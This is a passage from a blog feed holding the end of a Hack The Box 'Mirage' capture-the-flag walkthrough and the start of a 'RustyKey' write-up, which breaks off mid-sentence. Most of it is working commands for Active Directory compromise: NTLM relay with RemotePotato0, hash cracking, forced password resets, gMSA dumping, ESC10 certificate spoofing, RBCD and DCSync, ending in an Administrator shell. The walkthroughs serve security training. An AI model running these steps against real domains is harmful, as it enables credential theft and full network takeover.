RemotePotato0</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*l8hjRp7vgaaWJDS3XSnT6Q.png" /><figcaption>Uploading RemotePotato0</figcaption></figure><blockquote>Note: Before running the payload above, we need to forward <strong>DCOM</strong> traffic using socat</blockquote><pre>sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:10.10.11.78:9999</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mZRrbBLoj8N-ZUr_QRjfuQ.png" /><figcaption>Executing RemotePotato0 and Forwarding DCOM Traffic</figcaption></figure><ul><li>The process resulted in an <strong>NTLMv2</strong> hash for the logged-in user, mark.bbond.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BmYqPw3SafIoXOSSljii1Q.png" /><figcaption>mark.bbond NTLMv2 Hash</figcaption></figure><ul><li>Hashcat is used to crack the captured hash:</li></ul><pre>.\hashcat.exe .\HTB\hashes\mark_ntlmv2 .\HTB\wordlists\rockyou.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sht4aui4hCGkEGIpdmaC6g.png" /><figcaption>Cracking mark.bbond NTLMv2 Hash</figcaption></figure><ul><li>To reveal the hash:</li></ul><pre>.\hashcat.exe .\HTB\hashes\mark_ntlmv2 --show</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vqDIaj09JOq6yeBC3T8dEw.png" /><figcaption>Revealing mark.bbond Plaintext Password</figcaption></figure><ul><li>The credentials are verified via SMB:</li></ul><pre>nxc smb dc01.mirage.htb -u mark.bbond -p &#39;1day@atime&#39; -k</pre><ul><li>The credentials are valid:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J5BysnhRSrUQqLJHcs4Q2A.png" /><figcaption>mark.bbond’s Credential Authentication</figcaption></figure><h3>Account Reinstatement and gMSA Password Recovery</h3><ul><li>An analysis of the environment in BloodHound revealed several key privilege relationships.</li><li>The compromised user mark.bbond is a member of the IT_Support group and holds the ForceChangePassword privilege over javier.mmarshall.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xOdxeGrA4RL0vCRWtrluzg.png" /><figcaption>mark.bbond Outbond Object Control</figcaption></figure><ul><li>The javier.mmarshall account itself possesses the ability to read gMSA passwords for the Mirage-Service$ account.</li><li>However, javier.mmarshall‘s user account is <strong>disabled</strong>, indicating that additional remediation would be required before leveraging its privileges.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*w7xhXsrhcjYYgHDpN2z5lw.png" /><figcaption>javier.mmarshall User Account</figcaption></figure><ul><li>To understand the extent of our capabilities, we begin enumerating mark.bbond‘s account properties using bloodyAD , retrieving details such as his distinguishedName , logonHours and userPrincipalName:</li></ul><pre>bloodyAD --host dc01.mirage.htb --domain mirage.htb --username &#39;mark.bbond&#39; --password &#39;1day@atime&#39; --kerberos get object mark.bbond</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XNsZb85jHkjj07bqqim3fg.png" /><figcaption>mark.bbond’s Account Attributes</figcaption></figure><ul><li>His logonHours value was fully populated, indicating the account is permitted to authenticate at all times:</li></ul><pre>bloodyAD --host dc01.mirage.htb --domain mirage.htb --username &#39;mark.bbond&#39; --password &#39;1day@atime&#39; --kerberos get object mark.bbond --attr logonHours,userPrincipalName</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Z_QmVa2as6TKlMjEsusHpg.png" /><figcaption>mark.bbond’s logonHours and userPrincipal Attributes Enumeration</figcaption></figure><ul><li>Enumerating writable permissions for mark.bbond, confirmed that he maintains <strong><em>WRITE</em></strong> access over his own account which is <em>normal</em>, a ForeignSecurityPrincipal object, and most importantly, the disabled javier.mmarshall account:</li></ul><pre>bloodyAD --host dc01.mirage.htb --domain mirage.htb --username &#39;mark.bbond&#39; --password &#39;1day@atime&#39; --kerberos get writable</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0Xj9G9JeDkOf99Ix0EslTw.png" /><figcaption>mark.bbond’s Writable Permissions Enumeration</figcaption></figure><ul><li>Given that mark.bbond has both <strong><em>WRITE</em></strong> access and the ForceChangePassword privilege over javier.mmarshall, we attempted to reset the account’s password:</li></ul><pre>bloodyAD --host dc01.mirage.htb --domain mirage.htb --username &#39;mark.bbond&#39; --password &#39;1day@atime&#39; --kerberos  set password javier.mmarshall &#39;Password123!&#39;</pre><ul><li>However, authentication with the new credentials failed!</li></ul><pre>nxc smb dc01.mirage.htb -u javier.mmarshall -p &#39;Password123!&#39; -k</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TLCi8MbqrcEcN8aD2D43dg.png" /><figcaption>Resetting javier.mmarshall’s password</figcaption></figure><ul><li>A deeper examination of javier.mmarshall’s attributes showed two issues: the logonHours attribute was empty, and the userAccountControl field contained ACCOUNTDISABLE flag:</li></ul><pre>bloodyAD --host dc01.mirage.htb --domain mirage.htb --username &#39;mark.bbond&#39; --password &#39;1day@atime&#39; --kerberos get object javier.mmarshall</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lMf1UC2M9BRypMJp_ra4iA.png" /><figcaption>javier.mmarshall’s logonHours and userAccountControl Attributes</figcaption></figure><ul><li>Both of these conditions would prevent successful authentication regardless of password validity.</li><li>For confirmation purposes, we compared with the attributes against another user who authenticated successfully (mark.bbond).</li><li>Enumerating javier.mmarshall ‘s account attributes (logonHours, userAccountControl):</li></ul><pre>bloodyAD --host dc01.mirage.htb --domain mirage.htb --username &#39;mark.bbond&#39; --password &#39;1day@atime&#39; --kerberos get object javier.mmarshall --attr logonHours,userAccountControl</pre><ul><li>Enumerating mark.bbond ‘s account attributes (logonHours, userAccountControl):</li></ul><pre>bloodyAD --host dc01.mirage.htb --domain mirage.htb --username &#39;mark.bbond&#39; --password &#39;1day@atime&#39; --kerberos get object mark.bbond --attr logonHours,userAccountControl</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y6KGB6hgnXlkZxQ5dmR_Aw.png" /><figcaption>Comparing javier.mmarshall’s against mark.bbond’s Attributes</figcaption></figure><ul><li>Removal of ACCOUNTDISABLE flag using the <strong>UAC modification</strong> feature of bloodyAD , still led to authentication failure:</li></ul><pre>bloodyAD --host dc01.mirage.htb --domain mirage.htb --username &#39;mark.bbond&#39; --password &#39;1day@atime&#39; --kerberos remove uac javier.mmarshall -f ACCOUNTDISABLE</pre><pre>nxc smb dc01.mirage.htb -u javier.mmarshall -p &#39;Password123!&#39; -k </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MNhGvKNzbmlG8iwE7BXACw.png" /><figcaption>Removal of ACCOUNTDISABLE Flag</figcaption></figure><ul><li>Updating the logonHours attribute to allow full login availability and password reset (<em>optional</em>), led to a successful authentication:</li></ul><pre>bloodyAD --host dc01.mirage.htb --domain mirage.htb --username &#39;mark.bbond&#39; --password &#39;1day@atime&#39; --kerberos set object javier.mmarshall logonHours -v &#39;////////////////////////////&#39; --b64 --raw</pre><blockquote>Note: To execute the above command you need the latest version of bloodyAD.</blockquote><ul><li>Password reset (<em>optional</em>):</li></ul><pre>bloodyAD --host dc01.mirage.htb --domain mirage.htb --username &#39;mark.bbond&#39; --password &#39;1day@atime&#39; --kerberos  set password javier.mmarshall &#39;Password123!&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hE64AnO2haphhcTREdkFiA.png" /><figcaption>Updating javier.mmarshall’s Account logonHours Attribute</figcaption></figure><ul><li>With access restored, we obtained a Kerberos <strong>TGT</strong> for javier.mmarshall:</li></ul><pre>getTGT.py &#39;mirage.htb/javier.mmarshall:Password123!&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jVfD-kYqtlJDmCVeS9h1lA.png" /><figcaption>Requesting javier.marshall’s TGT</figcaption></figure><ul><li>As BloodHound had indicated, this account is permitted to <strong><em>read gMSA account passwords</em></strong>, so NetExec‘s <strong>LDAP</strong> module was used to enumerate <strong>gMSA</strong> secrets and successfully retrieve the <strong>NTLM</strong> hash for the Mirage-Service$ account:</li></ul><pre>nxc ldap dc01.mirage.htb -u javier.mmarshall -p &#39;Password123!&#39; -k --gmsa</pre><ul><li>Authentication using the hash was successful, granting access under the privileges of the Mirage-Service$ account:</li></ul><pre>nxc smb dc01.mirage.htb -u &#39;Mirage-Service$&#39; -H &#39;edb5e64a04fe919e5c3fa6bfbf3c54d9&#39; -k</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8TS7cUgpa9kIHH-UgueOvw.png" /><figcaption>Retrieving Mirage-Service$’s NTLM Hash</figcaption></figure><h3>Exploiting ESC10 via UPN Manipulation and RBCD to Achieve Full Domain Compromise</h3><ul><li>Obtain a <strong>TGT</strong> for the Mirage-Service$ service account using its <strong>NTLM </strong>hash:</li></ul><pre>getTGT.py -hashes :edb5e64a04fe919e5c3fa6bfbf3c54d9 &#39;mirage.htb/Mirage-Service$&#39; -no-pass</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*x_Fcb1QRbHQE-4ASjIAQmw.png" /><figcaption>Requesting a TGT for Mirage-Service$ Account</figcaption></figure><ul><li>Using the generated credential cache, enumerate the Mirage-Service$ for writable permissions:</li></ul><pre>KRB5CCNAME=Mirage-Service\$.ccache bloodyAD --host dc01.mirage.htb --domain mirage.htb --kerberos get writable</pre><ul><li>The output confirms that the account has write access over several objects, including mark.bbond,which is particularly interesting.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AVsdPjV1IyPWx28M5yz0tw.png" /><figcaption>Enumerating Writable Permissions for Mirage-Service$ Account</figcaption></figure><ul><li>Performing a detailed inspection of user-specific <strong>writable attributes,</strong> we identified that we can modify mark.bbond’s userPrincipalName (<em>UPN</em>), which is a key enabler for exploiting <strong><em>ESC10 </em></strong>vulnerability, a certificate-based attack:</li></ul><pre>KRB5CCNAME=Mirage-Service\$.ccache bloodyAD --host dc01.mirage.htb --domain mirage.htb --kerberos get writable --detail --otype USER</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SQjQG5oO8hwriVTiIOb2HA.png" /><figcaption>Mirage-Service$ Account Write Permission over mark.bbond’s UPN</figcaption></figure><ul><li>Next, certificate-related enumeration is performed. No misconfigured certificate templates were discovered, confirming that this vulnerability does not stem from <strong>template misconfigurations</strong>:</li></ul><pre>KRB5CCNAME=Mirage-Service\$.ccache certipy-ad find -vulnerable -target dc01.mirage.htb -dc-ip 10.10.11.78 -k -stdout</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M2-JPvNS10J9q89WNimkuQ.png" /><figcaption>Template Misconfiguration Enumeration</figcaption></figure><ul><li>To validate <strong><em>ESC10</em></strong> eligibility, we need to establish a WinRM session using previously obtained credentials:</li></ul><pre>KRB5CCNAME=nathan.aadam.ccache evil-winrm -i dc01.mirage.htb -r mirage.htb</pre><blockquote>If you can’t get a session try regenerating the <strong>TGT</strong> file</blockquote><ul><li>Inspecting <strong>two critical registry values</strong> on the domain controller relevant for <strong><em>ESC10</em></strong> exploitation:</li><li>StrongCertificateBindingEnforcement : If set to 0 , certificates are not strictly bound to their intended accounts, weakening identity validation. The value here is 1 , meaning strong binding is enforced:</li></ul><pre>Get-ItemProperty -Path &quot;HKLM:\SYSTEM\CurrentControlSet\Services\Kdc&quot; -Name StrongCertificateBindingEnforcement</pre><ul><li>CertificateMappingMethods : If set to 4 , the server permits <strong>insecure UPN-based certificate mappings</strong> regardless of stricter bindings. This value is set to 4, confirming the environment is vulnerable to <strong><em>ESC10</em></strong>:</li></ul><pre>Get-ItemProperty -Path &quot;HKLM:\System\CurrentControlSet\Control\SecurityProviders\Schannel&quot; -Name CertificateMappingMethods</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tKqM_qeAfBhtwtWw6NfU7g.png" /><figcaption>Checking the Registry Values to Confirm ESC10 Vulnerability</figcaption></figure><ul><li>With <strong><em>ESC10</em></strong> vulnerability confirmed, Mirage-Service$ account’s ability is leveraged to modify mark.bbond‘s <strong>UPN</strong>.</li><li>First, the existing <strong>UPN</strong> needs to be retrieved for safekeeping (<em>used later</em>):</li></ul><pre>KRB5CCNAME=Mirage-Service\$.ccache certipy-ad account -user mark.bbond read -dc-ip 10.10.11.78 -target dc01.mirage.htb -k</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jpni0BY0y74c5KQH4m2Z4w.png" /><figcaption>Retrieving mark.bbond’s original UPN</figcaption></figure><ul><li>The <strong>UPN</strong> is then temporarily modified to <strong>impersonate</strong> the domain controller machine account: dc01$@mirage.htb:</li></ul><pre>KRB5CCNAME=Mirage-Service\$.ccache certipy-ad account -user mark.bbond update -upn &#39;dc01$@mirage.htb&#39; -dc-ip 10.10.11.78 -target dc01.mirage.htb -k</pre><ul><li>Verification of the modification:</li></ul><pre>KRB5CCNAME=Mirage-Service\$.ccache certipy-ad account -user mark.bbond read -dc-ip 10.10.11.78 -target dc01.mirage.htb -k</pre><ul><li>This alteration allows requesting a certificate <strong>as if the request were being made by the domain controller itself</strong>.</li><li>Using certipy , with the spoofed <strong>UPN</strong> in place, a certificate is requested that will authenticate as dc01$:</li></ul><pre>certipy-ad req -ca mirage-DC01-CA -template User -upn &#39;dc01$@mirage.htb&#39; -dc-ip 10.10.11.78 -target dc01.mirage.htb -u mark.bbond@mirage.htb -p &#39;1day@atime&#39; -k</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*78m_lPHHM5WXt5cnIEG87Q.png" /><figcaption>UPN Spoofing and Certificate Request Using Certipy</figcaption></figure><ul><li>Once the certificate is issued, the <strong>UPN</strong> is restored to <em>avoid detection</em> and <em>for the vulnerability to actually work</em>:</li></ul><pre>KRB5CCNAME=Mirage-Service\$.ccache certipy-ad account -user mark.bbond update -upn &#39;mark.bbond@mirage.htb&#39; -dc-ip 10.10.11.78 -target dc01.mirage.htb -k</pre><ul><li>To confirm the restoration:</li></ul><pre>KRB5CCNAME=Mirage-Service\$.ccache certipy-ad account -user mark.bbond read -dc-ip 10.10.11.78 -target dc01.mirage.htb -k</pre><ul><li>The obtained certificate is then used to authenticate via <strong>LDAP</strong>, granting <strong>shell-like</strong> access to the domain controller as MIRAGE\DC01$:</li></ul><pre>certipy-ad auth -pfx dc01.pfx -dc-ip 10.10.11.78 -ldap-shell</pre><ul><li>With this elevated identity, <strong>Resource-Based Constrained Delegation (RBCD) </strong>is configured enabling Mirage-Service$ to impersonate the domain controller to specific services:</li></ul><pre>set_rbcd DC01$ Mirage-Service$</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rmfGi4ixDhjAPPdV5rVPug.png" /><figcaption>Obtaining ldap-shell and RBCD Configuration</figcaption></figure><ul><li>A <strong>service ticket</strong> is then generated, that impersonates the DC01$ account for the <strong>HTTP service</strong> on DC01:</li></ul><pre>KRB5CCNAME=Mirage-Service\$.ccache getST.py -spn &#39;http/DC01.mirage.htb&#39; -impersonate DC01$ &#39;mirage.htb/Mirage-Service$&#39; -no-pass</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2DVLrCxiGBFJMZqWvJ6qIQ.png" /><figcaption>Generating a Service Ticket that Impersonates DC01$</figcaption></figure><ul><li>This allowed us to execute a <strong><em>DCSync attack</em></strong>, retrieving the <strong>NTLM</strong> hash of the <strong><em>Administrator</em></strong> account:</li></ul><pre>KRB5CCNAME=DC01\$@http_DC01.mirage.htb@MIRAGE.HTB.ccache secretsdump.py -no-pass -k DC01.mirage.htb</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XND94ksxdgCMAbvRP7qGMw.png" /><figcaption>DCSync Attack to Obtain Administrator Hash</figcaption></figure><ul><li>Once the hash was obtained, authentication as the <strong><em>Administrator</em></strong> account was validated:</li></ul><pre>nxc smb dc01.mirage.htb -u administrator -H &#39;7be6d4f3c2b9c0e3560f5a29eeb1afb3&#39; -k</pre><ul><li>A fully privileged remote shell was obtained using psexec.py and the <strong><em>root flag </em></strong>retrieved:</li></ul><pre>psexec.py -hashes  :7be6d4f3c2b9c0e3560f5a29eeb1afb3 &#39;mirage.htb/administrator@dc01.mirage.htb&#39; -k</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IJGOTK1DiOCGNct-YRzjUg.png" /><figcaption>Getting a fully privileged shell using psexec.py</figcaption></figure><h3>Conclusion</h3><p>In the end, a single misconfigured certificate setting unraveled <strong><em>Mirage’s</em></strong> entire security posture, turning a simple service account foothold into <strong>full Domain Administrator</strong>. One <em>UPN edit</em>, <em>one certificate</em>, and the whole kingdom fell. Till next time folks!😎</p><h3>References</h3><ul><li><a href="https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7">Certipy 4.0: ESC9 &amp; ESC10 By Oliver Lyak</a></li><li><a href="https://github.com/nats-io/nats-server">NATS Server: GitHub</a></li><li><a href="https://github.com/nats-io/natscli">NATS CLI: GitHub</a></li><li><a href="https://github.com/Flangvik/SharpCollection">SharpCollection</a></li><li><a href="https://github.com/antonioCoco/RemotePotato0">RemotePotato0</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=51e714d4dbf8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB: RustyKey Writeup]]></title>
            <link>https://medium.com/@natius/htb-rustykey-writeup-0fd745f64253?source=rss-2b663cf34d6------2</link>
            <guid isPermaLink="false">https://medium.com/p/0fd745f64253</guid>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Natius]]></dc:creator>
            <pubDate>Tue, 18 Nov 2025 15:36:15 GMT</pubDate>
            <atom:updated>2025-11-18T15:44:51.132Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/784/1*NTCyo3VRKr2FNWlJj5rN7g.png" /><figcaption>RustyKey Machine</figcaption></figure><p>The RustyKey challenge begins with an <strong>assumed-breach scenario</strong>: We are provided with low-privilege credentials on a Windows Active-Directory environment. This setup simulates a post-compromise situation where an attacker already has limited access and aims to escalate priliveges and move laterally across the network.</p><p>Our objective is to <strong>map the attack surface, identify misconfigurations and escalate privileges </strong>to achieve full domain compromise. We start by performing network enumeration using Nmap and collecting <strong>Bloodhound data </strong>to understand the relationships between users, groups and computer accounts within the Active Directory environment. Early enumeration reveals an interesting computer account <strong><em>IT-COMPUTER3$</em></strong> that may serve as a potential pivot point.</p><p>Leveraging <strong>Timeroasting</strong>, we target the computer account to recover its password offline using <strong>hashcat. </strong>This account possesses the ability to <strong>add itself to the </strong><strong><em>HelpDesk</em></strong> group, which has the <strong><em>ForceChangePassword </em></strong>permission over a small set of users. Exploiting this permission, we gain access to those users, but to authenticate remotely, we must first remove them from <strong><em>Protected Objects</em></strong> group.</p><p>Using one of the acquired user accounts, we access the system via <strong>WinRM, </strong>where we discover a PDF discussing a <strong>new archiving tool (7-Zip) context menu feature</strong>. Upon further investigation, we learn that another user in the <strong><em>Support</em></strong> group has <strong>full control over the registry key</strong> linking this context menu to the 7-Zip DLL. By updating this key to point to a malicious DLL, we obtain a shell as a user in the <strong><em>DelegationManager</em></strong> group.</p><p>The user has the ability to configure <strong>Resource-Based Constrained Delegation (RBCD) </strong>on the domain controller. Using <strong>RBCD</strong>, we forge a service ticket, impersonate a privileged identity and ultimately gain <strong>full Domain Admin</strong> control, demonstrating a comprehensive attack path in an Active Directory environment.</p><h3>About RustyKey</h3><ul><li><strong>OS</strong>: <em>Windows</em></li><li><strong>Difficulty</strong>: <em>Hard</em></li><li><strong>Release Date</strong>: <em>28 Jun, 2025</em></li></ul><h3>Network Enumeration</h3><h4>Nmap Network Scan</h4><p>Initial enumeration identifies the host as a Windows Domain Controller with key AD services exposed.</p><pre>sudo nmap -sC -sV -vv -oA nmap/rustykey 10.10.11.75</pre><p>Relevant open ports:</p><ul><li><strong><em>53</em></strong> — DNS</li><li><strong><em>88</em></strong> — Kerberos</li><li><strong><em>389/3268 </em></strong>— LDAP/Global Catalog</li><li><strong><em>445 </em></strong>— SMB</li><li><strong><em>5985 </em></strong>— WinRM</li></ul><p>A <strong>~8-hour</strong> clock skew was reported in the script results. Since <strong>Kerberos </strong>is time-sensitive, this implies later steps will require <strong>NTP synchronization</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CUltcaNSjMXKnjiKW7Od6Q.png" /><figcaption>Nmap Output</figcaption></figure><h3>Hostname Enumeration via NetExec (nxc)</h3><pre>nxc smb 10.10.11.75 --generate-hosts-file ./rustykey_hosts</pre><p><strong>Output:</strong></p><pre>10.10.11.75     dc.rustykey.htb rustykey.htb dc</pre><ul><li>We also observe <strong>NTLM</strong> Authentication is disabled, forcing <strong>Kerberos-only</strong> authentication.</li><li>Add the hostname entry to /etc/hosts</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2Zj02yp2wWbV5h_L76YlSw.png" /><figcaption>Hostname Enumeration</figcaption></figure><ul><li>We proceed to generate a full krb5.conf to enable our Linux machine to communicate with the domain.</li></ul><pre>nxc smb 10.10.11.75 --generate-krb5-file rustykey.krb5conf</pre><ul><li>We then copy the custom Kerberos configuration file to replace the default Kerberos settings.</li></ul><pre>sudo cp rustykey.krb5conf /etc/krb5.conf</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vYkHu7GgJB_tHBD0AFiQxQ.png" /><figcaption>Custom Kerberos Configuration File</figcaption></figure><h3>Initial Foothold</h3><ul><li>We begin with an <strong>assumed-breached</strong> credentials: rr.parker:8#t5HE8L!W3A</li></ul><h4>Fixing the Clock-Skew</h4><pre>sudo ntpdate 10.10.11.75</pre><h4>Validating Authentication with Kerberos</h4><pre>nxc smb 10.10.11.75 -u rr.parker -p &#39;8#t5HE8L!W3A&#39; -k</pre><ul><li>The -k option must be included when using Kerberos since NTLM authentication is disabled.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CHFOlQ1fEbiZ9OLf2Pvu0g.png" /><figcaption>Authentication using nxc</figcaption></figure><h3>Domain Enumeration</h3><h4>SMB Shares</h4><pre>nxc smb 10.10.11.75 -u rr.parker -p &#39;8#t5HE8L!W3A&#39; -k --shares</pre><ul><li>Only default domain controller shares (<strong><em>ADMIN$, C$, SYSVOL, NETLOGON</em></strong>), we move on…</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bHzwUdW3lqYPs_0u6XOSoA.png" /><figcaption>Enumerating Shares</figcaption></figure><h4>Graph-Based Enumeration with Rusthound-CE</h4><ul><li>Extracting domain objects:</li></ul><pre>rusthound-ce -d rustykey.htb -u rr.parker -p &#39;8#t5HE8L!W3A&#39; -o rustykey_domain_objects</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VhoEQgqnVqBMFCfjlVrx7Q.png" /><figcaption>Rusthound-CE</figcaption></figure><ul><li>Start Bloodhound and navigate to the browser address http://127.0.0.1:8080 , according to your initial configuration when installing Bloodhound:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0lEynJMNttpwRwtoSIFn7A.png" /><figcaption>Starting Bloodhound using Docker Compose</figcaption></figure><ul><li>Import the JSON files into Bloodhound and mark rr.parker as <strong>owned </strong>since we have verified the credentials.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*obASJ4gELJkiyt2yejLLgA.png" /><figcaption>Uploading the JSON Files</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zMBJ1-YPEP-FwoJ8I1dXuQ.png" /><figcaption>Mark User as Owned</figcaption></figure><h3>Bloodhound Analysis and Attack Path Discovery</h3><p>Notable Findings:</p><h4>Organizational Unit (OU) Structure</h4><ul><li><strong>IT</strong></li><li><strong>Support</strong></li><li><strong>Finance</strong></li><li><strong>Domain Controllers</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bncXQUyUW60d6HCqQOBmfg.png" /><figcaption>OU Structure</figcaption></figure><h4>Administrators Group Members</h4><ul><li><strong><em>Administrator</em></strong></li><li><strong><em>BackupAdmin</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cPgC8UJy4_8pPNapKUj0Ng.png" /><figcaption>Administrators Group Members</figcaption></figure><h4>Abusable Edges</h4><ul><li>We run a custom query on Bloodhound to reveal <strong>non-membership relationships </strong>between <em>user/computer</em> accounts and other AD Objects.</li></ul><pre>MATCH p=(source)-[r]-&gt;(target)<br>WHERE (source:Computer or source:User)<br>AND type(r) &lt;&gt; &#39;MemberOf&#39;<br>return p</pre><ul><li>When the query was run, we discover an important privilege edge:</li></ul><p>IT-Computer3$ → HelpDesk (AddSelf)</p><ul><li>This means that the computer account IT-Computer3$ has the ability to <strong>add itself</strong> to the HelpDesk group.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d1qmzY4QlCdrHZqOMKI3aA.png" /><figcaption>IT-Computer3$ → HelpDesk (AddSelf)</figcaption></figure><ul><li>Also executing <strong>shortest path to domain admins</strong> query, reveals below interesting relationships:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ukq3Hpk-LT9faMEbRVWvpA.png" /><figcaption>Shortest path to domain admins</figcaption></figure><h4>HelpDesk Privileges</h4><p>HelpDesk has <strong><em>ForceChangePassword</em></strong> rights over:</p><ul><li>ee.reed</li><li>dd.ali (<strong>No Remote Login Rights</strong>)</li><li>gg.anderson (D<strong>isabled User Account</strong>)</li><li>bb.morgan</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4EBGL3tnOfPALwGIgRchog.png" /><figcaption>HelpDesk Rights over Users</figcaption></figure><p>Users with <strong>remote login</strong> capability include:</p><ul><li>bb.morgan</li><li>ee.reed</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uINfdNJtfv2dDRvFlcrxuQ.png" /><figcaption>Remote Management Users Group Members</figcaption></figure><ul><li>bb.morgan is a member of IT OU and ee.reed is a member of Support OU (<em>Remember this for later</em>).</li><li>This gives us a viable attack path: by adding IT-Computer3$ to the HelpDesk group, we inherit its ability to reset passwords for users like bb.morgan and ee.reed . With access to these accounts, we can continue probing the domain for the next escalation opportunity.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*s3NmqPr9uNzUmTeQKhUqLQ.png" /><figcaption>Attack Path from IT-Computer3$ to bb.morgan</figcaption></figure><ul><li>We also spot something very interesting: IT-Computer3$ password was manually set, not auto-generated. This is due to the <strong>~6.5 hour</strong> difference between the <em>Created time</em> and <em>Password Last Set </em>time. Normally, Computers have their password set at creation time and changes its password every 30 days by default. We know that manually generated password are potentially weaker than 